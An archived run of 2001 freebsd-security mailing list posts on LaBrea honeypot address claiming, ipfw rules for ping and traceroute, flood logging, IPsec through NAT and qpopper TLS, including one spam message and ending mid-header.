Subject: Re: LaBrea for BSD?
Cc: Will Andrews <will@physics.purdue.edu>,
	FreeBSD Security <security@FreeBSD.ORG>
In-Reply-To: <200109271500.RAA09268@malraux.matranet.com>
References: <20010924162750.24311@shalmaneser.thelbane.com>
 <4.3.2.7.2.20010925105333.04794430@localhost>
 <200109261355.PAA27232@malraux.matranet.com>
 <200109261904.VAA21740@malraux.matranet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

At 09:05 AM 9/27/2001, Laurent Fabre wrote:

>I thought about it yup but....
>The fact is I need to capture something lower than IP, just because
>we need to monitor ARP request in order to acquire new IP addresses.

Automatic acquisition of unused IPs is, IMHO, a bad idea. If you're
assigning addresses via DHCP, it just plain won't work; the honeypot
will acquire addresses that your DHCP server still thinks can be
assigned. And since every Windows client tries to ARP its own address
as it starts up (in an attempt to make sure it's not stepping on
someone else), a machine that has been turned off for the night
will refuse to get on the Net in the morning if its address has
been claimed. 

I'd prefer to specify the addresses to watch, thank you....

--Brett


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 10: 3:45 2001
Delivered-To: freebsd-security@freebsd.org
Received: from smtp1.sentex.ca (smtp1.sentex.ca [199.212.134.4])
	by hub.freebsd.org (Postfix) with ESMTP id B7D6937B434
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 10:03:39 -0700 (PDT)
Received: from simoeon.sentex.net (pyroxene.sentex.ca [199.212.134.18])
	by smtp1.sentex.ca (8.11.6/8.11.6) with ESMTP id f8RH3Pq15136;
	Thu, 27 Sep 2001 13:03:25 -0400 (EDT)
	(envelope-from mike@sentex.net)
Message-Id: <5.1.0.14.0.20010927125302.048abb10@marble.sentex.ca>
X-Sender: mdtpop@marble.sentex.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 27 Sep 2001 12:57:48 -0400
To: "Ronan Lucio" <ronan@melim.com.br>
From: Mike Tancsa <mike@sentex.net>
Subject: Re: flood attacks
Cc: <freebsd-security@FreeBSD.ORG>
In-Reply-To: <037601c14773$52a23da0$2aa8a8c0@melim.com.br>
References: <Pine.BSF.4.33.0109270907350.1695-100000@R181172.resnet.ucsb.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


The problem is that once its in your network, its too late so to speak. You=
=20
want to involve your ISP to get them to limit it before it traverses your=20
link.  If you are lucky the packets are not random junk and you can block=20
on the source IP.   Are they hitting the same port ? are they coming from=20
random IPs ?  As someone said,
sysctl -w net.inet.tcp.log_in_vain=3D1
sysctl -w net.inet.ud.log_in_vain=3D1

If they are not hitting random ports and hitting say your web server,
ipfw add 10 count log tcp from any to me 80;sleep 10;ipfw delete 10
and look at /var/log/security and see where the junk is coming from.

         ---Mike

At 01:41 PM 9/27/01 -0300, Ronan Lucio wrote:
>Hi Dave,
>
>But, in my case, I looked at mrtg graphics and saw that
>it had big flow during 1 hour.
>So, I supposed to prevent such situation.
>
>[ ]=B4s
>
>Ronan Lucio
>
> > >     Limiting closed port RST response from 1800 to 200 packets per
>second.
> >
> > Awhile back, I managed to reproduce this by portscanning myself with a
> > very fast scanner which doesn't wait for any kind of response from the
> > server before testing the next port.  The 1800 to 200 message thing=
 sounds
> > quite general, so you could be getting flooded with lots of different
> > kinds of data.  If the messages come in briefly and then stop for awhile
> > (rather than a continus flow) you could just be getting a fast port=
 scan.
> >
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-security" in the body of the message
> >
> >
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-security" in the body of the message


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 10:38:30 2001
Delivered-To: freebsd-security@freebsd.org
Received: from bogslab.ucdavis.edu (bogslab.ucdavis.edu [169.237.68.34])
	by hub.freebsd.org (Postfix) with ESMTP id D571437B50F
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 10:38:23 -0700 (PDT)
Received: from thistle.bogs.org (thistle.bogs.org [198.137.203.61])
	by bogslab.ucdavis.edu (8.9.3/8.9.3) with ESMTP id KAA47681
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 10:37:58 -0700 (PDT)
	(envelope-from greg@bogslab.ucdavis.edu)
Received: from thistle.bogs.org (localhost [127.0.0.1])
	by thistle.bogs.org (8.11.3/8.11.3) with ESMTP id f8RHZrA20332
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 10:36:00 -0700 (PDT)
	(envelope-from greg@thistle.bogs.org)
Message-Id: <200109271736.f8RHZrA20332@thistle.bogs.org>
To: security@FreeBSD.ORG
X-To: "Chutima S." <chutima@onebox.com>
X-Sender: owner-freebsd-security@FreeBSD.ORG 
Subject: Re: How to config IPFW for enable ping and traceroute 
In-reply-to: Your message of "Wed, 26 Sep 2001 23:19:35 PDT."
             <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com> 
Reply-To: gkshenaut@ucdavis.edu
Date: Thu, 27 Sep 2001 10:35:53 -0700
From: Greg Shenaut <greg@bogslab.ucdavis.edu>
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

In message <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com>, "Chutima S." cleopede:
>Hi
>
>I read from Firewall handbook as below:
>icmptypes types 
>Matches if the ICMP type is present in the list types. The list may be
>specified as any combination of ranges and/or individual types separated
>by commas. Commonly used ICMP types are: 0 echo reply (ping reply), 3
>destination unreachable, 5 redirect, 8 echo request (ping request), and
>11 time exceeded (used to indicate TTL expiration as with traceroute(8)).
>
>So I config ipfw for icmp as following:
>
>ipfw add pass icmp from <internal> to any icmptypes 8
>ipfw add pass icmp from any to <internal> icmptypes 0
>ipfw add pass icmp from any to <internal> icmptypes 11
>
>I can ping but I can not traceroute.  Anything wrong with my config?

Here is a scrap from the ksh script I use to generate my ipfw rules.
It lets me ping and traceroute out, but accepts them only to my
gateway box.  Note that it accepts any udp to a gateway interface
in the standard range of traceroute ports (use of other ports will
cause traceroute to fail).

"add" adds the rule, "alias" adds the rule for each alias of my
external interface (using "printf", hence the "%s").  Variables
{if,ip,mask,net}0 correspond to my external link; "{if,ip,net,mask}X"
where X is 1-9 correspond to one of my internal subnets.

--- begin ---
# ICMP
# allow all ping and traceroute replies plus source quench
add pass icmp from any to any icmptypes 0,3,4,11,12

# Allow ping of firewall machine but not beyond
alias pass icmp from any to %s icmptypes 8
alias pass icmp from %s to any icmptypes 8
# NOTE: the next rule is a limited insecurity
alias pass udp from any to %s 33434-33523
alias pass udp from %s to any 33434-33523

# allow ping from any internal subnet
for x in 1 2 3 4 5 6 7 8 9 ; do
	eval "iif=\$if$x"
	if [[ "$iif" = "" ]] ; then
		continue
	fi
	eval "inet=\$net$x"
	eval "imask=\$mask$x"
	eval "iip=\$ip$x"
	add pass icmp from ${inet}:${imask} to any icmptypes 8
	add pass udp from ${inet}:${imask} to any 33434-33523
done

# explicitly deny other icmp packets across firewall
add deny icmp from any to any via ${if0}
---end---

I hope this is helpful.

Greg Shenaut

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 10:44: 2 2001
Delivered-To: freebsd-security@freebsd.org
Received: from hotmail.com (f43.law3.hotmail.com [209.185.241.43])
	by hub.freebsd.org (Postfix) with ESMTP id 7610037B421
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 10:43:49 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 27 Sep 2001 10:43:49 -0700
Received: from 170.253.240.1 by lw3fd.law3.hotmail.msn.com with HTTP;
	Thu, 27 Sep 2001 17:43:48 GMT
X-Originating-IP: [170.253.240.1]
From: "WebSec WebSec" <secure21st@hotmail.com>
To: fabre@matranet.com
Cc: will@physics.purdue.edu, security@FreeBSD.ORG
Subject: Re: LaBrea for BSD?
Date: Thu, 27 Sep 2001 17:43:48 +0000
Mime-Version: 1.0
Content-Type: text/html
Message-ID: <F43CHusMjQHtMFaukyC00002c7d@hotmail.com>
X-OriginalArrivalTime: 27 Sep 2001 17:43:49.0036 (UTC) FILETIME=[F6CE76C0:01C1477B]
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

<html><div style='background-color:'><DIV>
<DIV>
<DIV>
<P>Here is an idea, </P>
<P>How about &nbsp;LaBrea for BSD (installed on a DHCP Server) automatically takes all IPs and releases them as clients request those IPs?&nbsp;</P>
<P>Another idea is that LaBrea server installed on DHCP "informs" LaBrea clients which IPs to emulate....</P>
<P>&nbsp;</P>
<P>Serg Perfi&nbsp; - YDAP security consulting group</P>
<DIR>
<DIR>
<DIR><FONT face=Helv color=#000000 size=2>
<P>To: fabre@matranet.com</P>
<P>cc:<B> </B>will@physics.purdue.edu, security@FreeBSD.ORG </P></DIR></DIR>
<P>Date:<B> </B>09/27/2001 01:01 PM</P>
<DIR>
<DIR>
<P>From: owner-freebsd-security@FreeBSD.ORG</P>
<P>Subject: Re: LaBrea for BSD?</P>
<P>&nbsp;</P></DIR></DIR>
<P>At 09:05 AM 9/27/2001, Laurent Fabre wrote:</P>
<P>&gt;I thought about it yup but....</P>
<P>&gt;The fact is I need to capture something lower than IP, just because</P>
<P>&gt;we need to monitor ARP request in order to acquire new IP addresses.</P>
<P>Automatic acquisition of unused IPs is, IMHO, a bad idea. If you're</P>
<P>assigning addresses via DHCP, it just plain won't work; the honeypot</P>
<P>will acquire addresses that your DHCP server still thinks can be</P>
<P>assigned. And since every Windows client tries to ARP its own address</P>
<P>as it starts up (in an attempt to make sure it's not stepping on</P>
<P>someone else), a machine that has been turned off for the night</P>
<P>will refuse to get on the Net in the morning if its address has</P>
<P>been claimed.</P>
<P>I'd prefer to specify the addresses to watch, thank you....</P>
<P>--Brett</P>
<P>&nbsp;</P>
<P>To Unsubscribe: send mail to majordomo@FreeBSD.org</P>
<P>with "unsubscribe freebsd-security" in the body of the message</P></DIR></FONT><BR><BR><BR>The reasonable man adapts himself to the world; </DIV>the unreasonable one persists in trying to adapt 
<DIV></DIV>the world to himself. Therefore all progress 
<DIV></DIV>depends on the unreasonable man. 
<DIV></DIV>
<DIV></DIV>-- George Bernard Shaw 
<DIV></DIV></DIV></DIV></div><br clear=all><hr>Get your FREE download of MSN Explorer at <a href='http://go.msn.com/bql/hmtag_itl_EN.asp'>http://explorer.msn.com</a><br></html>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 10:53:16 2001
Delivered-To: freebsd-security@freebsd.org
Received: from lariat.org (lariat.org [12.23.109.2])
	by hub.freebsd.org (Postfix) with ESMTP id 43DC737B50C
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 10:53:11 -0700 (PDT)
Received: from mustang.lariat.org (IDENT:ppp0.lariat.org@lariat.org [12.23.109.2])
	by lariat.org (8.9.3/8.9.3) with ESMTP id LAA16147;
	Thu, 27 Sep 2001 11:52:50 -0600 (MDT)
Message-Id: <4.3.2.7.2.20010927114815.00d12100@localhost>
X-Sender: brett@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 27 Sep 2001 11:52:42 -0600
To: "WebSec WebSec" <secure21st@hotmail.com>, fabre@matranet.com
From: Brett Glass <brett@lariat.org>
Subject: Re: LaBrea for BSD?
Cc: will@physics.purdue.edu, security@FreeBSD.ORG
In-Reply-To: <F43CHusMjQHtMFaukyC00002c7d@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

This could worm but would require some hooks in the ISC DHCP server 
code.

There'd still be a problem, though, if you were using fixed IPs and no
DHCP. Here's the scenario: You turn off your workstation; the tarpit claims 
its address; you come in next morning and turn it on; your workstation reports 
that it is kicking itself off the network because it has ARPed its IP address 
and found it in use by someone else. (Windows machines with fixed IPs always
do this; other operating systems might as well.)

--Brett

At 11:43 AM 9/27/2001, WebSec WebSec wrote:
  

>Here is an idea, 
>
>How about  LaBrea for BSD (installed on a DHCP Server) automatically takes all IPs and releases them as clients request those IPs? 
>
>Another idea is that LaBrea server installed on DHCP "informs" LaBrea clients which IPs to emulate....
>
> 
>
>Serg Perfi  - YDAP security consulting group


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 11: 6: 4 2001
Delivered-To: freebsd-security@freebsd.org
Received: from hotmail.com (f135.law3.hotmail.com [209.185.241.135])
	by hub.freebsd.org (Postfix) with ESMTP id E3B9737B426
	for <security@FreeBSD.ORG>; Thu, 27 Sep 2001 11:05:58 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 27 Sep 2001 11:05:58 -0700
Received: from 170.253.240.1 by lw3fd.law3.hotmail.msn.com with HTTP;
	Thu, 27 Sep 2001 18:05:58 GMT
X-Originating-IP: [170.253.240.1]
From: "WebSec WebSec" <secure21st@hotmail.com>
To: fabre@matranet.com
Cc: will@physics.purdue.edu, security@FreeBSD.ORG
Subject: LaBrea for BSD?
Date: Thu, 27 Sep 2001 18:05:58 +0000
Mime-Version: 1.0
Content-Type: text/html
Message-ID: <F1358Dt5zt47jO9ljL20000943a@hotmail.com>
X-OriginalArrivalTime: 27 Sep 2001 18:05:58.0827 (UTC) FILETIME=[0F6C77B0:01C1477F]
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

<html><div style='background-color:'><DIV><FONT face=Helv color=#000000 size=2>
<P>This solution should only be used in DHCPed environents.&nbsp; You would have problems if you are to assign a static address in a DHCPed environment anyhow.</P>
<P>&nbsp;</P>
<P>This could worm but would require some hooks in the ISC DHCP server</P>
<P>code.</P>
<P>There'd still be a problem, though, if you were using fixed IPs and no</P>
<P>DHCP. Here's the scenario: You turn off your workstation; the tarpit claims</P>
<P>its address; you come in next morning and turn it on; your workstation reports</P>
<P>that it is kicking itself off the network because it has ARPed its IP address</P>
<P>and found it in use by someone else. (Windows machines with fixed IPs always</P>
<P>do this; other operating systems might as well.)</P>
<P>--Brett</P>
<P>At 11:43 AM 9/27/2001, WebSec WebSec wrote:</P>
<P>&nbsp;</P>
<P>&gt;Here is an idea,</P>
<P>&gt;</P>
<P>&gt;How about LaBrea for BSD (installed on a DHCP Server) automatically takes all IPs and releases them as clients request those IPs?</P>
<P>&gt;</P>
<P>&gt;Another idea is that LaBrea server installed on DHCP "informs" LaBrea clients which IPs to emulate....</P>
<P>&gt;</P>
<P>&gt;</P>
<P>&gt;</P>
<P>&gt;Serg Perfi - YDAP security consulting group</P>
<P>&nbsp;</P>
<P>To Unsubscribe: send mail to majordomo@FreeBSD.org</P>
<P>with "unsubscribe freebsd-security" in the body of the message</P></FONT><BR><BR><BR>The reasonable man adapts himself to the world; </DIV>the unreasonable one persists in trying to adapt 
<DIV></DIV>the world to himself. Therefore all progress 
<DIV></DIV>depends on the unreasonable man. 
<DIV></DIV>
<DIV></DIV>-- George Bernard Shaw 
<DIV></DIV></div><br clear=all><hr>Get your FREE download of MSN Explorer at <a href='http://go.msn.com/bql/hmtag_itl_EN.asp'>http://explorer.msn.com</a><br></html>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 11:29:59 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66])
	by hub.freebsd.org (Postfix) with ESMTP id BA88A37B415
	for <freebsd-security@FreeBSD.ORG>; Thu, 27 Sep 2001 11:29:52 -0700 (PDT)
Received: from nomad.yogotech.com (nomad.yogotech.com [206.127.123.131])
	by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id MAA10719;
	Thu, 27 Sep 2001 12:29:51 -0600 (MDT)
	(envelope-from nate@nomad.yogotech.com)
Received: (from nate@localhost)
	by nomad.yogotech.com (8.8.8/8.8.8) id MAA14792;
	Thu, 27 Sep 2001 12:29:49 -0600 (MDT)
	(envelope-from nate)
From: Nate Williams <nate@yogotech.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15283.28700.819462.391437@nomad.yogotech.com>
Date: Thu, 27 Sep 2001 12:29:48 -0600
To: "Chutima S." <chutima@onebox.com>
Cc: freebsd-security@FreeBSD.ORG, chutima@infoquest.co.th
Subject: Re: How to config IPFW for enable ping and traceroute
In-Reply-To: <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com>
References: <20010927061935.UUFZ16495.mta10.onebox.com@onebox.com>
X-Mailer: VM 6.95 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid
Reply-To: nate@yogotech.com (Nate Williams)
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

> So I config ipfw for icmp as following:
> 
> ipfw add pass icmp from <internal> to any icmptypes 8
> ipfw add pass icmp from any to <internal> icmptypes 0
> ipfw add pass icmp from any to <internal> icmptypes 11

You'll also want a rule like this for PMTU and other important things to
work, which can simplify things.

############
# Let valid/necessary ICMP/traceroute packets through.
/sbin/ipfw add icmp from any to any icmptypes 0,3,11

# Allow outgoing pings and other such ICMP packet to work.
/sbin/ipfw add pass icmp from any to any out

# Outgoing traceroute udp packets are let out
/sbin/ipfw add pass udp from any to any 33434-34000 out

These three rules are all you should need on a FreeBSD box to secure the
box itself.

Others have followed up with fairly complicated rulesets, but by using
the 'in/out' keywords, you can more easily lock things down on a host
w/out going through gyrations on aliases and such.



Nate

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 11:33:50 2001
Delivered-To: freebsd-security@freebsd.org
Received: from web13305.mail.yahoo.com (web13305.mail.yahoo.com [216.136.175.41])
	by hub.freebsd.org (Postfix) with SMTP id EFF9337B425
	for <freebsd-security@freebsd.org>; Thu, 27 Sep 2001 11:33:44 -0700 (PDT)
Message-ID: <20010927183344.21604.qmail@web13305.mail.yahoo.com>
Received: from [212.89.194.24] by web13305.mail.yahoo.com via HTTP; Thu, 27 Sep 2001 11:33:44 PDT
Date: Thu, 27 Sep 2001 11:33:44 -0700 (PDT)
From: eT <etdebruin@yahoo.com>
Reply-To: eT@debruins.com
Subject: ipsec esp tunnel question
To: freebsd-security@freebsd.org
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

(please respond to: eTdeBruin@yahoo.com)

I managed to successfully set up an esp tunnel between two FreeBSD
4.4 gateways.  Both gateways do NAT for the local IP's and both have
public Legal Internet IP's using racoon for key exchange)

I now have a problem with a new setup: one of the FreeBSD Gateways
don't have a legal IP address anymore but is behind a NAT gateway. 
After much thinking and configuring I am now ready to resign to the
fact that this just won't work.

Every thing seems to work up until the first encapsulated packets are
sent from the Legal IP Gateway (B) to the Gateway behind the NAT (A),
i.e. this gateway never receives the esp packets.

A : (inside) 10.20.200.0/24
A :
A : (outside) a.a.a.a

     x.x.x.x


   ((Internet))


B : (outside) y.y.y.y
B : 
B : (inside) 192.168.3.0/24

So, a.a.a.a NAT's to x.x.x.x

The question is, what IP's should be used for the SPD's and the
gif's?  Normally the tunnel would be a y.y.y.y-a.a.a.a tunnel, but
now i have the little NAT x.x.x.x address in between.

Thanks.

=====
Etienne de Bruin - eT@debruins.com
Life has many choices, eternity only two.

__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 11:52:13 2001
Delivered-To: freebsd-security@freebsd.org
Received: from welshfantasyfootball.com (host48.tns.co.uk [194.152.91.114])
	by hub.freebsd.org (Postfix) with SMTP id 5AC9F37B418
	for <freebsd-security@freebsd.org>; Thu, 27 Sep 2001 11:52:04 -0700 (PDT)
From: "Claire" <webmaster@welshfantasyfootball.com>
To: <freebsd-security@freebsd.org>
Subject: Cash Prizes Win!
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Thu, 27 Sep 2001 19:50:13 +0100
Content-Transfer-Encoding: 8bit
Message-Id: <20010927185204.5AC9F37B418@hub.freebsd.org>
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

To all our fans!!	

Welsh Fantasy Football has paid your entrance fee to the 
WELSH FANTASY FOOTBALL GAME 2001

Go to www.welshfantasyfootball.com

you have to be in it to WIN it!!

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 12:31:15 2001
Delivered-To: freebsd-security@freebsd.org
Received: from chung.yikes.com (chung.yikes.com [66.92.13.13])
	by hub.freebsd.org (Postfix) with ESMTP id 58CE437B403
	for <security@freebsd.org>; Thu, 27 Sep 2001 12:31:12 -0700 (PDT)
Received: from zeus (zeus.my.domain [10.0.0.3])
	by chung.yikes.com (8.11.3/8.11.3) with SMTP id f8RJVB706103
	for <security@freebsd.org>; Thu, 27 Sep 2001 12:31:11 -0700 (PDT)
	(envelope-from leonard@ssl.berkeley.edu)
From: "Leonard C." <leonard@ssl.berkeley.edu>
To: <security@freebsd.org>
Subject: Has anyone gotten qpopper TLS with Outlook?
Date: Thu, 27 Sep 2001 12:31:02 -0700
Message-ID: <HHEKIBIGHICPGLHFMKKJMELFCJAA.leonard@ssl.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

I'm trying to get qpopper's TLS set up so that clients can check their mail
over a SSL tunnel. Unfortunately, only Eudora clients currently work at this
time. When Outlook's enable SSL box is checked, Outlook reports the server
suddenly reset the TCP connection and qpopper reports:

Sep 27 12:28:00.751 2001 [6091] Set tls-support to STLS (2)
Sep 27 12:28:00.751 2001
Sep 27 12:28:00.754 2001 [6091] Set tls-server-cert-file to
"/usr/local/etc/qpopper/certs/cert.pem"
Sep 27 12:28:00.754 2001
Sep 27 12:28:00.821 2001 [6091] (null) at xxx (xx.xx.xx.xx): -ERR POP EOF or
I/O Error
Sep 27 12:28:00.821 2001
Sep 27 12:28:00.822 2001 [6091] I/O error flushing output to client  at xxx
[xx.xx.xx.xx]: Operation not permitted (1)
Sep 27 12:28:00.822 2001
Sep 27 12:28:00.822 2001 [6091] I/O error flushing output to client  at
xxx[xx.xx.xx.xx]: Operation not permitted (1)
Sep 27 12:28:00.822 2001

Does anybody have any idea what's going on? I know others have used stunnel
before, but I'd like to minimize the amount of new software on this box.
Also, it puzzles me that Eudora clients connect fine, but Outlook seems to
be having some major problems...

Has anybody been able to get this particular setup to work?

Thanks,

Leonard


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 19:40: 5 2001
Delivered-To: freebsd-security@freebsd.org
Received: from hotmail.com (f224.law11.hotmail.com [64.4.17.224])
	by hub.freebsd.org (Postfix) with ESMTP
	id E6D6F37B406; Thu, 27 Sep 2001 19:39:58 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 27 Sep 2001 19:39:58 -0700
Received: from 63.11.217.211 by lw11fd.law11.hotmail.msn.com with HTTP;
	Fri, 28 Sep 2001 02:39:58 GMT
X-Originating-IP: [63.11.217.211]
From: "Van Mathers" <vm28306@hotmail.com>
To: freebsd-isp@freebsd.org, freebsd-security@freebsd.org
Subject: protect name services from denial of service?
Date: Fri, 28 Sep 2001 02:39:58 +0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F224lYbvhBISmT6QcWY0000981d@hotmail.com>
X-OriginalArrivalTime: 28 Sep 2001 02:39:58.0755 (UTC) FILETIME=[DD740730:01C147C6]
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Hi,

I've some FreeBSD based name servers for a government agency.
I'd like to develop some Denial of service prevention mechanism.
Can anyone recommend configurations or sysctl knobs to turn
to assist in DoS type attacks? Any advice or direction welcome
here. VM

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Thu Sep 27 19:51:16 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ns.morning.ru (ns.morning.ru [195.161.98.5])
	by hub.freebsd.org (Postfix) with ESMTP
